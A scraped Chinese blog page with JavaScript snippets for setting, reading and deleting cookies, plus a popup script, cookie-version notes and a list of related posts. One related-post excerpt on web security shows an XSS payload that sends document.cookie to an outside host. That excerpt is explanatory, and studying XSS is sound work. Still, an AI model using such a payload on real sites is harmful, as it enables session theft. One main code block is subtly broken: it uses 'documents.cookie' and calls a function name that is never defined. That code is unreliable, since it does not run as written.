从js存取删cookie

交流电路计算方法:复阻抗和相量法 一,复阻抗 电容电路,电压与电流的大小比值是XC=1/WC,相位上电流比电压超前90度 这样描述很麻烦,在复平面里,相位超前90度,可以用什么数学表示呢? 也就是说,一个相量,乘以j之后,大小没变化,相位变得超前90度了 同样的,大小不变,相位落后90度应该除以j 原来我们说电容电路,给个电压,算电流又要算XC,又要另外说相位超前90度,现在可以简单点 在这个计算式里,1/wc还是原来的容抗大... 阅读详情

<script>

//写cookies函数
function SetCookie(name,value)//两个参数,一个是cookie的名子,一个是值
{
    var Days = 30; //此 cookie 将被保存 30 天
    var exp  = new Date();    //new Date("December 31, 9998");
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function getCookie(name)//取cookies函数       
{
    var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
     if(arr != null) return unescape(arr[2]); return null;

}
function delCookie(name)//删除cookie
{
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval=getCookie(name);
    if(cval!=null) document.cookie= name + "="+cval+";expires="+exp.toGMTString();
}

 

SetCookie ("xiaoqi", "3")
alert(getCookie('xiaoqi'));
</script>


一个非常实用的javascript读写Cookie函数

一个非常实用的javascript读写Cookie函数 
function  GetCookieval_r(offset)
//获得Cookie解码后的值
{
var  endstr  =  documents.cookie.indexOf  (";",  offset);
if  (endstr  ==  -1)
endstr  =  documents.cookie.length;
return  unescape(documents.cookie.substring(offset,  endstr));
}
function  SetCookie(name,  value)
//设定Cookie值
{
var  expdate  =  new  Date();
var  argv  =  SetCookie.arguments;
var  argc  =  SetCookie.arguments.length;
var  expires  =  (argc  >  2)  ?  argv[2]  :  null;
var  path  =  (argc  >  3)  ?  argv[3]  :  null;
var  domain  =  (argc  >  4)  ?  argv[4]  :  null;
var  secure  =  (argc  >  5)  ?  argv[5]  :  false;
if(expires!=null)  expdate.setTime(expdate.getTime()  +  (  expires  *  1000  ));
documents.cookie  =  name  +  "="  +  escape  (value)  +((expires  ==  null)  ?  ""  :  ("; expires="+  expdate.toGMTString()))
+((path  ==  null)  ?  ""  :  (";  path="  +  path))  +((domain  ==  null)  ?  ""  :  ("; domain="  +  domain))
+((secure  ==  true)  ?  ";  secure"  :  "");
}
function  DelCookie(name)
//删除Cookie
{
var  exp  =  new  Date();
exp.setTime  (exp.getTime()  -  1);
var  cval  =  GetCookie  (name);
documents.cookie  =  name  +  "="  +  cval  +  ";  expires="+  exp.toGMTString();
}
function  GetCookie(name)
//获得Cookie的原始值
{
var  arg  =  name  +  "=";
var  alen  =  arg.length;
var  clen  =  documents.cookie.length;
var  i  =  0;
while  (i  <  clen)
{
var  j  =  i  +  alen;
if  (documents.cookie.substring(i,  j)  ==  arg)
return  GetCookieVal  (j);
i  =  documents.cookie.indexOf("  ",  i)  +  1;
if  (i  ==  0)  break;
}
return  null;
}

 


<SCRIPT  language="javascript">
<!--
function  openpopup(){
url="popup.htm"
window.open("gonggao.htm","gonggao","width=260,height=212,left=200,top=0")
}

function  get_cookie(Name)  {
var  search  =  Name  +  "="
var  returnvalue  =  "";
if  (documents.cookie.length  >  0)  {
offset  =  documents.cookie.indexOf(search)
if  (offset  !=  -1)  {
offset  +=  search.length
end  =  documents.cookie.indexOf(";",  offset);
if  (end  ==  -1)
end  =  documents.cookie.length;
returnvalue=unescape(documents.cookie.substring(offset,  end))
}
}
return  returnvalue;
}

function  helpor_net(){
if  (get_cookie('popped')==''){
openpopup()
documents.cookie="popped=yes"
}
}
helpor_net()
//-->
</SCRIPT>

 


如果点了确定,只要不清cookie,以后访问都不会再提示,如果不点确定则每次都会提示。放在js文件里,全站包含

<SCRIPT LANGUAGE="JavaScript">
<!--
var the_cookie = document.cookie;
var broken_cookie = the_cookie.split(":");
var the_visiteraccepted = unescape(broken_cookie[1]);
//
if (the_visiteraccepted=="undefined"){
        var tmp=confirm('中国人何时何地。');
        if(tmp==false){
                window.close();
        }else{
                var the_visiteraccepted = 1;         
        var the_cookie = "ILoveChina=visiteraccepted:" + escape(the_visiteraccepted);                                
        document.cookie = the_cookie;
        }
}
//-->
</SCRIPT>

 


1. Cookie的兼容性问题

Cookie的格式有2个不同的版本,第一个版本,我们称为Cookie Version 0,是最初由Netscape公司制定的,也被几乎所有的浏览器支持。而较新的版本,Cookie Version 1,则是根据RFC 2109文档制定的。为了确保兼容性,JAVA规定,前面所提到的涉及Cookie的操作都是针对旧版本的Cookie进行的。而新版本的Cookie目前还不被Javax.servlet.http.Cookie包所支持。


2. Cookie的内容

同样的Cookie的内容的字符限制针对不同的Cookie版本也有不同。在Cookie Version 0中,某些特殊的字符,例如:空格,方括号,圆括号,等于号(=),逗号,双引号,斜杠,问号,@符号,冒号,分号都不能作为Cookie的内容。这也就是为什么我们在例子中设定Cookie的内容为"Test_Content"的原因。

虽然在Cookie Version 1规定中放宽了限制,可以使用这些字符,但是考虑到新版本的Cookie规范目前仍然没有为所有的浏览器所支持,因而为保险起见,我们应该在Cookie的内容中尽量避免使用这些字符

关节电机技术全解析:原理、双编码器、控制方法与硬件选型 关于关机电机的组成,技术原理,特点以及选型等方面的详细介绍,可以帮助快速学习关节电机相关内容! 阅读详情

相关推荐

sentaurus学习笔记(一)器件仿真

之前有跟大家说,以后转到sentaurus,因此silvaco会用的比较少,结果发现真的有一点贪心厌旧的感觉,现在基本上不用silvaco(lll¬ω¬)故这篇文章,将为大家带来的是关于sentaurus的结构仿真和器件的特性的提取。我们还是老规矩,先上结构图。 还是一个经典的IGBT结构,这是一个典型的N型IGBT,下面我将把一些相关的结构,和具体的写法用下面一幅图表达出来。 这里因为方便看,我们把器件的比例画的比较抽象。可以看到的是,这里有很多的距离参数是用一些变量名来写的,这也是sentaurus

weixin_43262021的博客 2万+

JavaScript Cookie 的正确用法

function getCookies(name) { var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)")); if(arr != null) return unescape(arr[2]); return ; } function setCookie(name, valu

Domando 1082

【Unity Animation 2D】从零到一:骨骼绑定与IK动画实战指南

本文详细介绍了Unity中2D骨骼绑定与IK动画的实战流程,从角色素材准备、骨骼系统创建到权重绘制和IK设置,逐步指导开发者掌握2D动画制作技巧。通过反向动力学(IK)技术,实现更自然的角色动画效果,适用于游戏开发和动画制作。

weixin_30430677的博客 372

cookie 操作

前端原生js用cookie保存用户的信息 1、对cookie的基础操作,首先是建立cookie function setCookie(name,value){ var days = 30;//设置cookie过期日期 var data = new Date(); data.setTime(data.getTime() + Days*24*60*1000); do...

JYHliling的博客 906

实验六 有源滤波器

实验六 有源滤波器一、实验目的二、仪器及设备三、预习要求画出三个电路的幅频特性曲线。四、实验内容l.低通滤波电路2.高通滤波电路3.带阻滤波电路(1)实测电路中心频率。(2)以实测中心频率为中心,测出电路幅频特性。五、实验报告六,仿真图:图 1 低通滤波器仿真图图 2 高通滤波器仿真图图 3 带阻滤波电路仿真图 一、实验目的 1.熟悉有源滤波电路构成及其特性。 2.学会测量有源滤波电路幅频特性。 二、仪器及设备 1.示波器 2.信号发生器 三、预习要求 1.预习教材有关滤波电路

胡毛毛的博客 1万+

产业大脑+未来工厂:揭秘浙江数字经济系统的5大核心场景搭建指南

本文深入解析了“产业大脑+未来工厂”这一浙江数字经济系统的核心范式,并提供了五大核心场景的实战搭建指南。文章详细阐述了从供应链协同、产能共享到产品创新、质量追溯及绿色低碳等关键场景的构建逻辑与技术架构,旨在帮助企业实现从技术驱动到场景驱动的价值落地,破解数据孤岛难题,提升产业链整体效能。

mac99的博客 667

JavaScript学习 第十二天 cookie与正则

一、cookie Cookie 是浏览器访问服务器后,服务器传给浏览器的一段数据。浏览器需要保存这段数据,不会轻易删除(保存在计算机中)。此后每次浏览器访问该服务器,都必须带上这段数据。 cookie 实际上是指小量信息,只能存储4KB,是由 Web 服务器创建的,将信息存储在用户计算机上的文件,比如用户登录某个网站,浏览器会提示是否保存用户名和密码方便下次登录,如果保存就是将信息保存在cooki...

weixin_45355998的博客 592

【纯干货分享】常用高速接口眼图模板合集

文章汇集了常见的高速接口的信号眼图测试模板技术要求,比如,LPDDR5/4、PCIe 5.0/4.0、USB、MIPI等等,方便工程师快速进行查询和使用。

一只豌豆象的博客 3117

关于document.cookie的使用

[align=center][b]关于document.cookie的使用[/b][/align] [b]设置cookie[/b] 每个cookie都是一个名/值对,可以把下面这样一个字符串赋值给document.cookie: document.cookie="userId=828"; 如果要一次存储多个名/值对,可以使用分号加空格(; )隔开,例如: document.cooki...

rush2012的专栏 548

【Proteus仿真】51单片机+DAC0832+LM358放大电路波形发生器

【Proteus仿真】51单片机+DAC0832+LM358放大电路波形发生器

perseverance51博客 5787

【Bug已解决】This model‘s maximum context length is X tokens. However, you requested Y tokens 解决方案

summary_prompt = "请将以下对话历史压缩成一段简洁摘要,保留关键决策和结论:\n" + format_messages(old_part)return [{"role": "system", "content": f"此前对话摘要:{summary}"}] + recent_part这种方式能在大幅降低 token 消耗的同时,尽量保留任务推进所需的关键上下文,是目前业内做长会话 Agent 最常见的处理方式之一。方案适用场景推荐指数滑动窗口裁剪短任务,对早期历史依赖不强⭐⭐⭐。

一键难忘的博客 1万+

Web前端安全问题

1.XSS跨站脚本攻击(Cross Site Scripting) 1)通过<script> 举个例子:通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址: book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script...

weixin_33973609的博客 174

【62】OpenCV C++实战篇——【项目实战】OpenCV C++ 精准定位“十字刻度尺”中心坐标,过滤图片中的干扰,精准获取十字交点坐标

本文针对工业相机拍摄的2000万像素图像中十字刻度尺的精确定位问题进行了研究。面对图像较暗、存在红黄干扰、记号笔涂抹及细节模糊等难点,提出了一种基于霍夫变换的解决方案。通过灰度化、反色、二值化预处理后,对比分析了多尺度霍夫直线(HoughLines)和渐进概率霍夫线段(HoughLinesP)两种方法的定位效果。实验结果表明,HoughLinesP由于具有最小线段长度和间隙约束,在直线贴合度和交点定位精度上表现更优,其返回的线段端点坐标也更便于后续处理。该研究为工业视觉中微小目标的精确定位提供了实用参考。

程序员,他们想的是什么?他们想的永远都是技术,他们崇尚的也永远都是技术。 975

java和js对cookie的存取删

1.纯后端存cookie和取cookie//设置cookie值String username="Demo123";Cookie cookie=new Cookie("users",username); //设置cookie名为users,值为Demo123//设置一些cookie属性cookie.setPath("/"); //这个可以理解为cookie的作用范围,如果不写的默认...

ajv59251的博客 438

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

java禁止js获取cookie_java和js对cookie的存取删

1.纯后端存cookie和取cookie//设置cookie值String username="Demo123";Cookie cookie=new Cookie("users",username); //设置cookie名为users,值为Demo123//设置一些cookie属性cookie.setPath("/"); //这个可以理解为cookie的作用范围,如果不写的默认为当前项目...

weixin_42316952的博客 837

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

VUE和JS实现登陆后保存信息到cookie供调用

参考:https://www.jb51.net/article/146656.htm 全局变量会把? //登陆信息,供获取cooike给值,来源getCookie() username:"", //姓名 usernumber:"",//工号 usertype:"",//管理员还是啥,或者天数 方法写在公用地方(全局): /** 供外部调用的方法 */ //设置cookie --由login调用 se...

测试领域专家,多领域测试技术、管理、工具都略懂,略懂一二 2489

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

vue登录如何存储cookie_vue项目实现记住密码到cookie功能(附源码)

实现功能:1.记住密码勾选,点登陆时,将账号和密码保存到cookie,下次登陆自动显示到表单内2.不勾选,点登陆时候则清空之前保存到cookie的值,下次登陆需要手动输入大体思路就是通过存/取/删cookie实现的;每次进入登录页,先去读取cookie,如果浏览器的cookie中有账号信息,就自动填充到登录框中,存cookie是在登录成功之后,判断当前用户是否勾选了记住密码,如果勾选了,则把账号信...

weixin_28703451的博客 1442

Vue前端cookie的使用

第一种支持是ES6以上的用户 安装 npm install js-cookie --save 引用(所需要的文件中引用) import Cookies from 'js-cookie' 1.存到Cookie去 Cookies.set('name', 'value');//name是名称 value是要存储的值 2.在Cookie中取出 Cookies.get('name'); 3.删除 Cookies.remove('name'); 特殊情况:跟一般使用不同的是,从Cookie中取出的时候,要从字

Anony_me的博客 2374

Vue定义公用方法

在src目录下新建common公用方法文件夹用于存放公用方法列表 common下新建common.js 该示例定义存、取、删cookie方法 1 main.js中引入该文件,并将其添加到Vue原型链上 import common from './common/common' Vue.prototype.$common = common //其中$common就是调用时所使用的方法 紧接着定...

YourNikee的博客 4302

js文件里获取路由 vue_vue-router路由守卫--中(token获取和存储)

前面我们已经对没有获取token的情况进行分析,接下来我们看看如何获取token,以及获取之后我们应该怎么处理。之前有提到,在用户登录成功之后,后台会存储token登录之后,不仅返回了token,还有username,这个我们后面也会用到。那么接下来我们应该把token和username存储起来,因为我们也需要vuex来存放状态,所以分别存在vuex中和cookie中。前面刚刚记录过vuex的使用...

weixin_39611037的博客 632

JavaScript常用的工具函数

JavaScript常用的工具函数

laizhenghua的博客 1434

简单的 存取删读cookie

两种方式 存取删读cookie 第一种 //存cookies 例如:this.setCookie(‘authorization’, JSON.stringify({authorization: res.data.content}), 1) //第一个参数是 cookie名字 第二个是cookie的值 第三个就是cookie存在的时间 Vue.prototype.setCookie = funct...

who_become_gods的博客 284

js怎么存取cookie

js存入cookiefunction Setcookie (name, value){ //设置名称为name,值为value的Cookie var expdate = new Date(); //初始化时间 expdate.setTime(expdate.getTime() + 30 * 60 * 1000); //时间单位毫秒 document.coo...

minolk的博客 2万+

cookie的存取删

存: document.cookie = "name=Kevin;expires="+new Date().getDate()+7; //有效期7天 取: function GetCookie(sName) { var aCookie = document.cookie.split("; "); for (var i=0; i < aCookie.length; i...

aishuo5474的博客 135

JS存取Cookie值

一:存Cookie //存Cookie document.cookie = "id=" + escape(value);    二:取Cookie //提取Cookie值 function getCookie(name) { //取出cookie var strCookie = document.cooki...

weixin_30546933的博客 2166

JS存取Cookie

存Cookie function Setcookie (name, value){ //设置名称为name,值为value的Cookie var expdate = new Date(); //初始化时间 expdate.setTime(expdate.getTime() + 365 * 24 * 60 * 60 * 1000); //设置过期时间,单位毫秒,这里以一年过期时间为例 document.cookie = name+"="+value+";expires

法国锄头雨 1182
上一篇: 关于javascript中的回调函数
下一篇: HttpClient乱码问题
zi_jun
博客等级 码龄18年 109粉丝 7原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值